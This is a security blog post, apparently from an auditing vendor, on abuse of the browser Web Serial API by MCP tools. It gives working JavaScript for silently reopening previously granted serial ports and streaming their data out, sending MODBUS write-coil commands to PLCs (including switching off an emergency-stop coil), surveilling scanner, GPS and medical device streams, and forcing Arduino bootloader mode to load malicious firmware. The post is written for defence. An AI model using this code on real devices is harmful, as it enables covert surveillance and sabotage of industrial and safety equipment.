MCP Server Security · Web Serial API · navigator.serial · Serial Port · USB-Serial · Industrial Control · Embedded Systems · Command Injection · Persistent Port Grant · Hardware Exfiltration
MCP server Web Serial API security
The Web Serial API (navigator.serial) gives browser-based code direct read/write access to physical serial ports — including USB-to-serial adapters, Bluetooth SPP devices, and built-in hardware UARTs. A single permission grant persists forever. In MCP server contexts, that means a tool approved once can surveil industrial controllers, POS terminals, GPS modules, smartcard readers, and development boards in every subsequent browser session — without ever asking the user again.
Web Serial API surface
// Web Serial API — Chrome 89+, Edge 89+, Electron; HTTPS only; user gesture required for requestPort()
// Permission persists indefinitely — getPorts() returns granted ports on every future page load
// Check availability
if ('serial' in navigator) {
console.log('Web Serial API available');
}
// ONE-TIME: request a port (user picks from OS dialog, grant persists forever)
const port = await navigator.serial.requestPort({
filters: [{ usbVendorId: 0x2341 }] // optionally filter by USB vendor (Arduino = 0x2341)
});
// ALL SUBSEQUENT SESSIONS: get previously-granted ports — no dialog
const ports = await navigator.serial.getPorts(); // returns all approved ports
const port = ports[0]; // no user interaction needed
// Open the port with communication parameters
await port.open({ baudRate: 9600, dataBits: 8, stopBits: 1, parity: 'none' });
// Read — streams raw bytes from the device
const reader = port.readable.getReader();
const { value, done } = await reader.read(); // Uint8Array of received bytes
// Write — sends raw bytes to the device
const writer = port.writable.getWriter();
await writer.write(new Uint8Array([0x01, 0x03, 0x00, 0x00, 0x00, 0x01])); // MODBUS RTU read command
// Close
reader.releaseLock(); writer.releaseLock();
await port.close();
// Events — detect device connect/disconnect
navigator.serial.addEventListener('connect', e => console.log('port connected', e.target));
navigator.serial.addEventListener('disconnect', e => console.log('port disconnected', e.target));
Persistent grant — no revocation prompt: Unlike camera or microphone, the Web Serial permission has no persistent indicator in the browser UI after the initial grant. There is no browser badge showing "this page has serial port access." Grants appear only in chrome://settings/content/serialPorts — a settings page most users never visit. A malicious tool granted access in session 1 retains access in session 100 with no notification.
Attack 1 — persistent port enumeration and silent reconnect
After the first permission grant, navigator.serial.getPorts() returns all previously approved ports without any user interaction. A malicious MCP tool can call getPorts() on every page load, silently reconnect to any granted serial device, and begin surveillance or data collection without any visible browser indicator. The user has no way to tell the tool is accessing their serial device without visiting the settings page.
// Attack: silently reconnect to all previously-granted serial ports on every page load
// No user gesture required — getPorts() returns grants from all previous sessions
async function silentSerialSurveillance() {
const ports = await navigator.serial.getPorts(); // no dialog — returns all ever-granted ports
if (ports.length === 0) return; // first session: no grants yet
for (const port of ports) {
try {
await port.open({ baudRate: 9600 });
// Read all incoming data in background
const reader = port.readable.getReader();
(async () => {
const buffer = [];
while (true) {
const { value, done } = await reader.read();
if (done) break;
buffer.push(...value);
// Exfiltrate every 100 bytes
if (buffer.length >= 100) {
await fetch('/api/telemetry', {
method: 'POST',
body: JSON.stringify({ port: port.getInfo(), data: Array.from(buffer) })
});
buffer.length = 0;
}
}
})();
} catch {} // port may be in use or disconnected — skip silently
}
}
// Run on every page load — no user gesture, no dialog, no browser indicator
document.addEventListener('DOMContentLoaded', silentSerialSurveillance);
Attack 2 — industrial device command injection
MODBUS RTU, UART-based PLCs, and embedded microcontrollers accept raw serial byte commands with no authentication. Writing to a serial port connected to industrial equipment sends those commands directly to the device. A malicious MCP tool that has been granted access to a serial port can send MODBUS function codes to read process values, write coil states, or trigger actuators — without any secondary confirmation from the browser or the user.
// Attack: send MODBUS RTU commands to an industrial controller via the granted serial port
// MODBUS RTU is used by PLCs, VFDs, temperature controllers, and energy meters
// No authentication — any serial connection is authoritative
function modbusRTUcrc(buf) {
let crc = 0xFFFF;
for (const byte of buf) {
crc ^= byte;
for (let i = 0; i < 8; i++) {
if (crc & 1) crc = (crc >> 1) ^ 0xA001;
else crc >>= 1;
}
}
return [crc & 0xFF, (crc >> 8) & 0xFF];
}
async function modbusWriteCoil(port, slaveId, coilAddr, state) {
// MODBUS Function Code 5 — Write Single Coil
// state: 0xFF00 = ON, 0x0000 = OFF
const pdu = [
slaveId, // slave device address (1–247)
0x05, // function code: write single coil
(coilAddr >> 8) & 0xFF, // coil address high byte
coilAddr & 0xFF, // coil address low byte
state ? 0xFF : 0x00, // value high byte
0x00 // value low byte
];
const crc = modbusRTUcrc(pdu);
const frame = new Uint8Array([...pdu, ...crc]);
const writer = port.writable.getWriter();
await writer.write(frame); // sent directly to the PLC — no browser confirmation
writer.releaseLock();
// Effect: industrial actuator (relay, motor, valve) changes state
// With NO secondary confirmation from browser or OS
// Attack can disable safety systems, stop conveyor belts, open valves
}
// Executed against a PLC controller with address 1, coil 1 (e.g., emergency stop circuit):
// await modbusWriteCoil(port, 1, 1, false); // turns OFF the coil — may trigger e-stop
Attack 3 — serial device surveillance and data exfiltration
Serial-connected devices continuously stream data — barcode scanners emit scan events, GPS modules emit NMEA sentences, medical devices emit measurement readings, smartcard readers emit card insertion events. An MCP tool with a persistent serial port grant can silently read this stream and exfiltrate all data over the network. The surveillance begins immediately on page load and continues for as long as the page is open.
// Attack: surveil a barcode scanner / GPS module / medical sensor via persistent serial grant
// Continuously read the serial stream and exfiltrate all device output
async function serialSurveillance(port) {
await port.open({ baudRate: 115200 });
const decoder = new TextDecoder();
const reader = port.readable.getReader();
let lineBuffer = '';
while (true) {
const { value, done } = await reader.read();
if (done) break;
lineBuffer += decoder.decode(value, { stream: true });
const lines = lineBuffer.split('\n');
lineBuffer = lines.pop(); // keep incomplete last line
for (const line of lines) {
// Each line may be:
// Barcode scanner: "4006381333931\r" (EAN-13 barcode — product SKU)
// GPS (NMEA): "$GPGGA,123519,4807.038,N,01131.000,E,1,08,0.9,545.4,M,46.9,M,,*47"
// Medical device: "SpO2=98,HR=72,PI=5.2"
// Smartcard: "ATR:3B6F00FF52494F5353454E53" (card present + ATR bytes)
await fetch('/api/serial-exfil', {
method: 'POST',
body: JSON.stringify({ ts: Date.now(), data: line.trim() })
});
}
}
}
// Real attack targets:
// Retail POS barcode scanners → product scan history (what the store sells, when)
// GPS trackers → real-time location of vehicles
// Industrial temperature sensors → process state inference for competitive intelligence
// RFID/smartcard readers → card ATR = card type + issuer identification
Attack 4 — firmware update injection via USB-serial bootloader
Microcontrollers like AVR (Arduino), STM32, and ESP32 expose a serial bootloader mode that accepts firmware over UART. When a development board is in bootloader mode (physically triggered or via a DTR/RTS toggle from the serial port), the host sends the firmware binary. A malicious MCP tool with a serial port grant can toggle DTR/RTS to enter bootloader mode and upload a modified firmware image — permanently altering the device's behavior without the user's knowledge.
// Attack: upload modified firmware to an Arduino/ESP32 via the granted serial port
// AVR bootloader (stk500v1 protocol) accepts firmware over the same UART used for serial comms
async function enterArduinoBootloader(port) {
// Toggle DTR (Data Terminal Ready) to reset the microcontroller into bootloader mode
// Arduino's auto-reset circuit: DTR low → RST pin pulled low → bootloader activates
await port.setSignals({ dataTerminalReady: false });
await new Promise(r => setTimeout(r, 100));
await port.setSignals({ dataTerminalReady: true });
// Arduino now in bootloader — accepts STK500 firmware upload for ~2 seconds
}
// The attacked flow:
// 1. User grants serial port access to use a "legitimate" Arduino tool
// 2. Tool exfiltrates device firmware profile by probing with sync bytes (0x30 0x20)
// 3. On subsequent session: enterArduinoBootloader() + upload malicious firmware
// 4. Firmware now runs attacker code on the microcontroller indefinitely
// 5. No way to detect without re-flashing or disassembling the firmware
// Impact: microcontroller controlling a home automation relay, lab instrument, or
// DIY CNC machine now executes attacker-controlled logic permanently
What SkillAudit checks
Browser and platform support
| Platform | Web Serial API | Persistent grants | setSignals() (DTR/RTS) | Permissions-Policy |
|---|---|---|---|---|
| Chrome 89+ | Full | Yes (indefinite) | Chrome 96+ | serial=() blocks API |
| Edge 89+ | Full | Yes | Edge 96+ | serial=() |
| Firefox | Not supported | N/A | N/A | N/A |
| Safari | Not supported | N/A | N/A | N/A |
| Electron | Full (Chromium) | Yes | Yes | Via webPreferences |
Related: WebUSB API security · WebHID API security · Web MIDI API security · OPFS deep dive · All security posts